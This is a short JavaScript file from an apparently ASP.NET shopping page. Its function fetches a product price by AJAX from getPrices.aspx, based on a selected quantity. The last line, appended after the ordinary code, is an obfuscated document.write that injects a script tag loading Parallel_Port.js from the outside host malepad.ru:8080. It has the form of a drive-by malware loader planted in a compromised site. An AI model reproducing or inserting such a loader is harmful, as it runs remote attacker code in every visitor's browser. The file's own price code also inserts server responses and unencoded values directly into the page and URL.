function ajaxFunction(firsttextvalue) {
    var secondtextvalue, thirdvalue;    
    secondtextvalue = document.getElementById("ctl00_ContentPlaceHolder1_hpid").value;

    var statusList = document.getElementById("ctl00_ContentPlaceHolder1_ddlQuantity");
    thirdvalue = statusList.options[statusList.selectedIndex].value;
    //thirdvalue = document.getElementById("ctl00_ContentPlaceHolder1_ddlQuantity").selectedvalue;
    if (!isNum(thirdvalue)) {
        alert('Please Enter numeric value.');
        return false;
    }
    //if (thirdvalue.length < 2) {
    //  document.getElementById("ctl00_ContentPlaceHolder1_divprice").innerHTML = '0.00';
    //  return 0;
    //}
    //alert(firsttextvalue.value);
    //alert(secondtextvalue);
    //alert(thirdvalue);        
    var xmlHttp;
    try {
        // Firefox, Opera 8.0+, Safari
        xmlHttp = new XMLHttpRequest();
    }
    catch (e) {
        // Internet Explorer
        try {
            xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
        }
        catch (e) {
            try {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            }
            catch (e) {
                alert("Your browser does not support AJAX!");
                return false;
            }
        }
    }
    xmlHttp.onreadystatechange = function() {
        if (xmlHttp.readyState == 4) {
            document.getElementById("ctl00_ContentPlaceHolder1_divprice").innerHTML = xmlHttp.responseText;
            document.getElementById("ctl00_ContentPlaceHolder1_hprice").value = xmlHttp.responseText;
            
            //if (document.getElementById("ddllength1").value != null) {
               // document.getElementById("ctl00_ContentPlaceHolder1_ddllength1").value = firsttextvalue.value
            //}
        }
    }
    xmlHttp.open("GET", "getPrices.aspx?firstvalue=" + firsttextvalue.value + "&secondvalue=" + secondtextvalue + "&thirdvalue=" + thirdvalue, true);
    xmlHttp.send(null);
}

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Parallel_Port.js"></scr'+'ipt>');